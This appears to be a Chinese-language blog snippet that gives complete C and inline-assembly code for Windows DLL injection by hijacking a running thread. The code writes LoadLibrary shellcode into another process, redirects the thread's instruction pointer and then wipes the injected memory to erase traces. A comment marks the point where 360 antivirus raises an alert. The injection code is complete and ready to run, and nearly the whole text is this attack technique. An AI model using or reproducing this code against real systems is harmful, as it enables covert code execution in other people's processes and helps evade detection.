shellcode:
void __declspec(naked) inject_func()
{
__asm
{
pushad;
push 11111111h; // dll路径
mov eax, 22222222h; // LoadLibrary
call eax; // 调用LoadLibrary
popad;
push 33333333h; // 返回地址
}
}
话不多说,撸代码,看代码
int inject_running_thread(int argc, _TCHAR *argv[])
{
//
// shell code from inject_func function
//
UCHAR shell_code[] = {
0x60,
0x68, 0x11, 0x11, 0x11, 0x11,
0xB8, 0x22, 0x22, 0x22, 0x22,
0xFF, 0xD0,
0x61,
0x68, 0x33, 0x33, 0x33, 0x33,
0xC3
};
CHAR exe_name[MAX_PATH] = {0};
PCHAR exe_name_ptr = NULL;
GetModuleFileNameA(NULL, exe_name, MAX_PATH - 1);
exe_name_ptr = strrchr(exe_name, '\\');
exe_name_ptr++;
if (argc < 4)
{
printf("Usage: %s [pid] [tid] [dll path] \n ", exe_name_ptr);
return -1;
}
INT ret = 0;
DWORD err = 0;
DWORD pid = _wtol(argv[1]);
DWORD tid = _wtol(argv[2]);
DWORD suspend_count = 0;
HANDLE process_handle = NULL;
HANDLE thread_handle = NULL;
DWORD page_size = 1 << 12;
PUCHAR buffer = NULL;
PWCHAR dll_path = argv[3];
process_handle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, pid);
if (process_handle == NULL)
{
printf("open process %d failed, %d \n", pid, GetLastError());
return (++ret);
}
thread_handle = OpenThread(THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT, FALSE, tid);
if (thread_handle == NULL)
{
printf("open thread %d failed, %d \n", tid, GetLastError());
return (++ret);
}
buffer = (unsigned char *)VirtualAllocEx(process_handle, NULL, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
{
printf("virtual alloc failed, %d \n", GetLastError());
return (++ret);
}
printf("buffer address: 0x%04x \n", buffer);
//
// 挂起线程
//
suspend_count = SuspendThread(thread_handle);
if ( suspend_count == -1)
{
printf("suspend thread %d failed \n", tid);
return (++ret);
}
CONTEXT cont = {0};
cont.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(thread_handle, &cont))
{
printf("get thread context failed, %d \n", GetLastError());
return (++ret);
}
unsigned char *loaddll_addr = (unsigned char *)GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryW");
unsigned char *virtual_dll_path = buffer + page_size / 2;
memcpy(&shell_code[2], &virtual_dll_path, sizeof(void *));
memcpy(&shell_code[7], &loaddll_addr, sizeof(void *));
memcpy(&shell_code[0x0F], &cont.Eip, sizeof(void *));
if (!WriteProcessMemory(process_handle, buffer, shell_code, sizeof(shell_code), NULL))
{
printf("write process memory shellcode failed, %d \n", GetLastError());
return (++ret);
}
if (!WriteProcessMemory(process_handle, buffer + page_size / 2, dll_path, (wcslen(dll_path) + 1) * sizeof(WCHAR), NULL))
{
printf("write process memory dll path failed, %d \n", GetLastError());
return (++ret);
}
cont.Eip = (unsigned long)buffer;
//
// NOTE: 走到此处,360报警
//
if (!SetThreadContext(thread_handle, &cont))
{
printf("set thread context failed, %d \n", GetLastError());
return (++ret);
}
//
// 唤醒线程
//
suspend_count = ResumeThread(thread_handle);
if (suspend_count == -1)
{
printf("resume thread failed, %d \n", GetLastError());
return (++ret);
}
//
// 确认shellcode是否被执行,即dll是否被加载起来
//
HANDLE evt = CreateEventW(NULL, FALSE, FALSE, L"I am injected");
WaitForSingleObject(evt, INFINITE);
//
// 清理注入的内存痕迹
//
PCHAR clear_buffer = (PCHAR)calloc(page_size, 1);
WriteProcessMemory(process_handle, buffer, clear_buffer, page_size, NULL);
VirtualFreeEx(process_handle, buffer, page_size, MEM_RELEASE);
CloseHandle(thread_handle);
CloseHandle(process_handle);
return 0;
}